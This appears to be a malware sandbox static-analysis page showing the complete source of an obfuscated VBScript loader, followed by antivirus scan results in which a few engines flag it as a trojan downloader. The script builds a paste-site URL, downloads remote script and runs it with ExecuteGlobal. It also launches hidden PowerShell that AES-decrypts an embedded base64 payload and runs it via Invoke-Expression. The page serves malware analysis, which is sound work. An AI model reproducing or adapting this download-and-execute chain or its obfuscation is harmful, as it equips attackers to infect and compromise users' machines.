Static | ZeroBOX

Const sNObLKUBnNZcRLulBeopmNWUPWdKLWWtuKboCihxWfcxQfpBcueAbmbetZIlpWuWBbbKAibiKiQeAsUdtPcWNePpKCcIcbuQWWKe = "delete"

Const UgJuiUWUbZWSzopRKHkLLdWuHGcLuhUdqWoAZGLGiWaiARhzRPAeWWoWbbAGPiocLcmcpJCkpdLkBUfiezufOWueSkLAiaKQmlKK = "get"

Const UcUnUoKLWLCLKAGbkUgRLLGUxLGIGLzLBLKfzGBfkLLiWZSlUBdLLlmjhKfZWeoHhGficUbxWmqWWCmloWiLGBPzUnjzUsiZTpxi = "put"

Const LfovGCOgUieObKGWKdcSAmzdooZeChLtLKOPluWPmkhWoPfUUiHgxTKcfQKApbHpWfWnLBUpOWLLZlaUgofcLiLrKKGbcWLLoNmi = "configSDDL"

Const SKKKitLWGcrrGWRORnAeCgRbKUuaWjzWLAKBGWiePWenuoUPcKNQHqBPlLKluUxoLblicKaZsoLaknLLvelcCzkWgiddWRikOWdG = "create"

Const UqUcoWGAHUBifBKGdazmnUchcSZOkLxPCLKfNtUOfcvrPhlLbsmTniPGSOUqiAqOKnLsIpGWJWALhZeJPvKrWGWWUCNckcjKkTLW = "invoke"

Const iGzbekiGnoZKWRWiiLPcCQbKOaGuAaoLbLUiacGRbWzLkNbKRLbiftHOkokicUkPGNkvLOZeihKReWffkiPGKNgLObLbSlLZUlcG = "enumerate"

Const bBbmcoxLUcuCWCzkxpZWLGkPLuctWoecmipcakkUABWzASmoAnKkLPlZKIKZbeIxnWbrkiKlKLJhAPjmiLfZooAhbACbLHkKKLfK = "identify"

Const ZAUKaqLGpTGfkiGvAPmjLABbzWtCKxiIiCfcKmipWlbjZtupmcPcKcmigGRLkvGKoWNRNPRHAizGdSKKmGCKTSNcbGhinBxUfNWp = "quickconfig"

On Error Resume Next

Set oremanaus = CreateObject("WSMAN.Automation")

Set engatadeira = CreateObject("WSMAN.InternalAutomation")

Set foleca = WScript.CreateObject("WScript.Shell")

LnNLTqqLzteLlWWhtTcUoxbGGkPUWWAcQTLBGNZtvNHiLUPikGWeLtLicbfWaTLzNtoAkqGjRiUbRiWpjcgheKfbcuimiLifCcZb:pjieKJeZgWkZcWZUOJbNiULQAPmjqckCccBPigLWHGIKiqWpLKNGhdWWxOcqBpWKWRbiNLNAzLkWcdzkdBbGbcdikiWQdfqWWAGL:isGtiaUUczfGrlOBxfctUCfoUmkktuIgGWWWRmLLGLRKUujLzfclfJifpKcLiZiUWWcGbBLfHtdpnqLLLeWucokoAkfTveTWaZWL = "emproado":bWLGcbUeJLcWkZLfrKmcRfkuRPzWOKpsLktRonWnvLmLClbxWQNLAKiPdRTLUWPRRlLGbgamkqqoALfWcieOTLJzubLGeriUQzuA:cOitozkWAQUgfLpeBLLmGoirkJimoiLWliAautWKccvqPONxckzpLtWLWzKhPkjkSLSUhWrqdLxtrfBsruxWuLHULvQLlqUlbKPh:

Dim reboleta, groma, sanguinha, melar, rhache, trambelho

reboleta = ""

groma = "text"

sanguinha = ""

melar = ""

rhache = ""

Set achega = oremanaus.CreateSession(reboleta)

If sanguinha <> "" Then

Set resourceLocatorObj = oremanaus.CreateResourceLocator(sanguinha)

End If

Dim infaustamente, alienador

infaustamente = Array(sNObLKUBnNZcRLulBeopmNWUPWdKLWWtuKboCihxWfcxQfpBcueAbmbetZIlpWuWBbbKAibiKiQeAsUdtPcWNePpKCcIcbuQWWKe, UgJuiUWUbZWSzopRKHkLLdWuHGcLuhUdqWoAZGLGiWaiARhzRPAeWWoWbbAGPiocLcmcpJCkpdLkBUfiezufOWueSkLAiaKQmlKK, UcUnUoKLWLCLKAGbkUgRLLGUxLGIGLzLBLKfzGBfkLLiWZSlUBdLLlmjhKfZWeoHhGficUbxWmqWWCmloWiLGBPzUnjzUsiZTpxi, LfovGCOgUieObKGWKdcSAmzdooZeChLtLKOPluWPmkhWoPfUUiHgxTKcfQKApbHpWfWnLBUpOWLLZlaUgofcLiLrKKGbcWLLoNmi, SKKKitLWGcrrGWRORnAeCgRbKUuaWjzWLAKBGWiePWenuoUPcKNQHqBPlLKluUxoLblicKaZsoLaknLLvelcCzkWgiddWRikOWdG, UqUcoWGAHUBifBKGdazmnUchcSZOkLxPCLKfNtUOfcvrPhlLbsmTniPGSOUqiAqOKnLsIpGWJWALhZeJPvKrWGWWUCNckcjKkTLW, iGzbekiGnoZKWRWiiLPcCQbKOaGuAaoLbLUiacGRbWzLkNbKRLbiftHOkokicUkPGNkvLOZeihKReWffkiPGKNgLObLbSlLZUlcG, bBbmcoxLUcuCWCzkxpZWLGkPLuctWoecmipcakkUABWzASmoAnKkLPlZKIKZbeIxnWbrkiKlKLJhAPjmiLfZooAhbACbLHkKKLfK, ZAUKaqLGpTGfkiGvAPmjLABbzWtCKxiIiCfcKmipWlbjZtupmcPcKcmigGRLkvGKoWNRNPRHAizGdSKKmGCKTSNcbGhinBxUfNWp)

Dim operationIndex

For operationIndex = LBound(infaustamente) To UBound(infaustamente)

alienador = infaustamente(operationIndex)

Select Case alienador

Case sNObLKUBnNZcRLulBeopmNWUPWdKLWWtuKboCihxWfcxQfpBcueAbmbetZIlpWuWBbbKAibiKiQeAsUdtPcWNePpKCcIcbuQWWKe

If IsObject(achega) And IsObject(resourceLocatorObj) Then

achega.Delete(resourceLocatorObj)

End If

Case UgJuiUWUbZWSzopRKHkLLdWuHGcLuhUdqWoAZGLGiWaiARhzRPAeWWoWbbAGPiocLcmcpJCkpdLkBUfiezufOWueSkLAiaKQmlKK

If IsObject(achega) And IsObject(resourceLocatorObj) Then

trambelho = achega.Get(resourceLocatorObj)

End If

Case UcUnUoKLWLCLKAGbkUgRLLGUxLGIGLzLBLKfzGBfkLLiWZSlUBdLLlmjhKfZWeoHhGficUbxWmqWWCmloWiLGBPzUnjzUsiZTpxi

If IsObject(achega) And IsObject(resourceLocatorObj) Then

trambelho = achega.Put(resourceLocatorObj, rhache)

End If

Case LfovGCOgUieObKGWKdcSAmzdooZeChLtLKOPluWPmkhWoPfUUiHgxTKcfQKApbHpWfWnLBUpOWLLZlaUgofcLiLrKKGbcWLLoNmi

If IsObject(engatadeira) And IsObject(achega) And IsObject(resourceLocatorObj) Then

trambelho = engatadeira.ConfigSDDL(achega, resourceLocatorObj)

End If

Case SKKKitLWGcrrGWRORnAeCgRbKUuaWjzWLAKBGWiePWenuoUPcKNQHqBPlLKluUxoLblicKaZsoLaknLLvelcCzkWgiddWRikOWdG

If IsObject(achega) And IsObject(resourceLocatorObj) Then

trambelho = achega.Create(resourceLocatorObj, rhache)

End If

Case UqUcoWGAHUBifBKGdazmnUchcSZOkLxPCLKfNtUOfcvrPhlLbsmTniPGSOUqiAqOKnLsIpGWJWALhZeJPvKrWGWWUCNckcjKkTLW

If IsObject(achega) And IsObject(resourceLocatorObj) Then

trambelho = achega.Invoke(melar, resourceLocatorObj, rhache)

End If

Case iGzbekiGnoZKWRWiiLPcCQbKOaGuAaoLbLUiacGRbWzLkNbKRLbiftHOkokicUkPGNkvLOZeihKReWffkiPGKNgLObLbSlLZUlcG

Dim mistificador, agrostema, enrolar, amante, roncolho, racionar, insinuativo

mistificador = "htagasalhadamenteps://pasagasalhadamenteecode.dev/raw/6l7qjjrz/pasagasalhadamentee1.txagasalhadamente"

mistificador = Replace(mistificador,"agasalhadamente","t")

On Error Resume Next

Set agrostema = CreateObject("WScript.Shell")

enrolar = "agasalhadamente997junqueira69agasalhadamenteagasalhadamenteagasalhadamente8agasalhadamentejunqueirasolar797solar68agasalhadamente66solar774689alcaidaria7"

enrolar = fLeopvqpbZPNdoWicfuxcpdUxGGKLhOdnoNABHifUUkaLcLUajWjLOOTqtjqLnrpvUvaPRWOLAechoiCdjpvdcqxaGtLLKOKCLKL(mistificador, enrolar, "agasalhadamente", "0")

enrolar = fLeopvqpbZPNdoWicfuxcpdUxGGKLhOdnoNABHifUUkaLcLUajWjLOOTqtjqLnrpvUvaPRWOLAechoiCdjpvdcqxaGtLLKOKCLKL(mistificador, enrolar, "alcaidaria", "1")

enrolar = fLeopvqpbZPNdoWicfuxcpdUxGGKLhOdnoNABHifUUkaLcLUajWjLOOTqtjqLnrpvUvaPRWOLAechoiCdjpvdcqxaGtLLKOKCLKL(mistificador, enrolar, "junqueira", "2")

enrolar = fLeopvqpbZPNdoWicfuxcpdUxGGKLhOdnoNABHifUUkaLcLUajWjLOOTqtjqLnrpvUvaPRWOLAechoiCdjpvdcqxaGtLLKOKCLKL(mistificador, enrolar, "solar", "3")

amante = "V8j9BK9bfs/lZP5zFepyR9aRZf8BDzdLeJ1Wr3rZYBw6jT7kuTdwSitjBTH6Sqx88yVFht6lnslkubPCFwxqncRlDrOw9owyJA1zM90PpRr0FaiG+XBe+UtMNx0zzpBZSa7qy/b9pIjbcvkqnwOM6Be0WWFDxVUlj0TDp91XwH/c6ciz+iu6mES3yq5+wAOV+zPJuNp5hqnddk0tEqxo/qMCo+cG/l6r3ezM1s2QQFmQ8AFnu00n4jTFSMCxwGmJXOuAFt0wBq5jfwNhiaVTTCeBRL+vRhYBKAGD/u1Dvw+qPTtj9QM1HRT6VDvUjK3PzbH+R2AR4nOSq9v5lFSm/4FB/+TP5hP/0G/K30EABLByahNrwdJ16uU9iuUdUxN+NdEE/cElVfqnk/AVYq5zOi8KMYjn+cBM7t37nFOU+0R7dqQpX1bw4M9xtDwytc8lEk+oLySfh6DkQx9ZP51+DlSOxtzP8BlibGMotYNxGINUMoFBpW0X5W8pofLjTrSt7qBAj097EKphKYe3dnFx994W4acnmzPqqTr9PR82rWmLbfQf2jbKptR1IhGuTYv9zQSE15Vrf85rElqm4KW35kLioiJMv56w49TVJdaAGq/G+se+SBcPFtd0cm2wycIuQ4pVC4xxw+WdpJi1FZv87Rwrz7pU1f5LIlkQi0+6eoNG6yxyTKoTJaQAuX2geHwz+f9R6YUS2D7ybG0Vvw+ZFtSb2YV8cqEjPCNT4AdDGlZYcPsf6Hbm1EvW5r7k+0F/yDLB/y2wX4CLIycRbGPZgnjXi4jl/RK4SeIOxoVCs0mtuhlxR9NC8ercXMf5/Emw/QTDPPHm3uTaueMrnP01pI2r2Clos+w8/I3AEeg0Gz8iE1h5bY5D0OUVA7NaAIFwW45kfIOBkH0D6efJmwO0pY8b7loXQGCQrpaKFIWDUM4r97poqR4yhZYSxi7iwH+Vl/YNiqosLi5Z81MJ2NG+ei7HNxiblmO1AZ89LR/dD0RunVNNNhBOJ2

roncolho = "powaortitershaortitell.aortitexaortite"

roncolho = fLeopvqpbZPNdoWicfuxcpdUxGGKLhOdnoNABHifUUkaLcLUajWjLOOTqtjqLnrpvUvaPRWOLAechoiCdjpvdcqxaGtLLKOKCLKL(mistificador, roncolho, "aortite", "e")

racionar = "-command"

insinuativo = "(('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esMa" & _

"nagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.Paddin" & _

"gMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Sy" & _

"ste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged." & _

"CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetS" & _

"tring'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI" & enrolar & "CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI" & amante & "CnI;TMIt" & _

"extoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe" & _

"4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77)," & _

"[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')"

agrostema.Run roncolho & " " & racionar & " " & insinuativo, 0, False

If IsObject(oremanaus) And IsObject(achega) And IsObject(engatadeira) And IsObject(resourceLocatorObj) Then

' Chame a fun

o Enumerate se existir

' Enumerate oremanaus, achega, engatadeira, resourceLocatorObj, groma

End If

Case bBbmcoxLUcuCWCzkxpZWLGkPLuctWoecmipcakkUABWzASmoAnKkLPlZKIKZbeIxnWbrkiKlKLJhAPjmiLfZooAhbACbLHkKKLfK

If IsObject(achega) Then

End If

Case ZAUKaqLGpTGfkiGvAPmjLABbzWtCKxiIiCfcKmipWlbjZtupmcPcKcmigGRLkvGKoWNRNPRHAizGdSKKmGCKTSNcbGhinBxUfNWp

If IsObject(achega) Then

End If

Case Else

WScript.Echo "Opera

o desconhecida: " & alienador

End Select

If Err.Number <> 0 Then

On Error GoTo 0

Else

If alienador <> iGzbekiGnoZKWRWiiLPcCQbKOaGuAaoLbLUiacGRbWzLkNbKRLbiftHOkokicUkPGNkvLOZeihKReWffkiPGKNgLObLbSlLZUlcG And alienador <> sNObLKUBnNZcRLulBeopmNWUPWdKLWWtuKboCihxWfcxQfpBcueAbmbetZIlpWuWBbbKAibiKiQeAsUdtPcWNePpKCcIcbuQWWKe And alienador <> ZAUKaqLGpTGfkiGvAPmjLABbzWtCKxiIiCfcKmipWlbjZtupmcPcKcmigGRLkvGKoWNRNPRHAizGdSKKmGCKTSNcbGhinBxUfNWp Then

End If

On Error Resume Next

Function fLeopvqpbZPNdoWicfuxcpdUxGGKLhOdnoNABHifUUkaLcLUajWjLOOTqtjqLnrpvUvaPRWOLAechoiCdjpvdcqxaGtLLKOKCLKL(neurologista, dromornito, piropo, caldeiraria)

Dim empanturrar, reponta

Set empanturrar = CreateObject("MSXML2.XMLHTTP")

empanturrar.open "GET", neurologista, False

empanturrar.send

If empanturrar.status = 200 Then

reponta = empanturrar.responseText

Call fnLizUPpHWitKsWzzOGGcNpkLWknUfAilWiGeKuoGKGLLPtpAbWiULCmULncNZGKKGpGWhRhklGfZGGZLSlkpLKLKUkiOtbjcGbA(reponta)

If Not IsEmpty(dromornito) And Not IsEmpty(piropo) And Not IsEmpty(caldeiraria) Then

fLeopvqpbZPNdoWicfuxcpdUxGGKLhOdnoNABHifUUkaLcLUajWjLOOTqtjqLnrpvUvaPRWOLAechoiCdjpvdcqxaGtLLKOKCLKL = Adnascente(dromornito, piropo, caldeiraria)

Else

fLeopvqpbZPNdoWicfuxcpdUxGGKLhOdnoNABHifUUkaLcLUajWjLOOTqtjqLnrpvUvaPRWOLAechoiCdjpvdcqxaGtLLKOKCLKL = Null

End If

Else

WScript.Echo "N

o foi poss

vel carregar o script. Status HTTP: " & empanturrar.status

fLeopvqpbZPNdoWicfuxcpdUxGGKLhOdnoNABHifUUkaLcLUajWjLOOTqtjqLnrpvUvaPRWOLAechoiCdjpvdcqxaGtLLKOKCLKL = Null

End If

Set empanturrar = Nothing

End Function

Function fnLizUPpHWitKsWzzOGGcNpkLWknUfAilWiGeKuoGKGLLPtpAbWiULCmULncNZGKKGpGWhRhklGfZGGZLSlkpLKLKUkiOtbjcGbA(arrevesadamente)

ExecuteGlobal arrevesadamente

End Function

Antivirus	Signature
Bkav	Clean
Lionic	Clean
tehtris	Clean
ClamAV	Clean
CMC	Clean
CAT-QuickHeal	Clean
Skyhigh	Clean
ALYac	Clean
Malwarebytes	Clean
Zillya	Clean
Sangfor	Clean
K7AntiVirus	Clean
K7GW	Clean
Cybereason	Clean
Baidu	Clean
VirIT	Clean
Symantec	ISB.Downloader!gen40
ESET-NOD32	Clean
TrendMicro-HouseCall	Clean
Avast	Script:SNH-gen [Trj]
Cynet	Clean
Kaspersky	HEUR:Trojan.Script.Generic
BitDefender	Clean
NANO-Antivirus	Trojan.Script.Vbs-heuristic.druvzi
ViRobot	Clean
MicroWorld-eScan	Clean
Tencent	Clean
Sophos	Clean
F-Secure	Clean
DrWeb	Clean
VIPRE	Clean
TrendMicro	Clean
FireEye	Clean
Emsisoft	Clean
GData	Clean
Jiangmin	Clean
Varist	Clean
Avira	Clean
MAX	Clean
Antiy-AVL	Clean
Kingsoft	Clean
Gridinsoft	Clean
Xcitium	Clean
Arcabit	Clean
SUPERAntiSpyware	Clean
ZoneAlarm	HEUR:Trojan.Script.Generic
Microsoft	Clean
Google	Clean
AhnLab-V3	Clean
Acronis	Clean
McAfee	Clean
TACHYON	Clean
VBA32	Clean
Zoner	Clean
Rising	Clean
Yandex	Clean
Ikarus	Clean
MaxSecure	Clean
Fortinet	Clean
BitDefenderTheta	Clean
AVG	Script:SNH-gen [Trj]
Panda	Clean
CrowdStrike	Clean
alibabacloud	Clean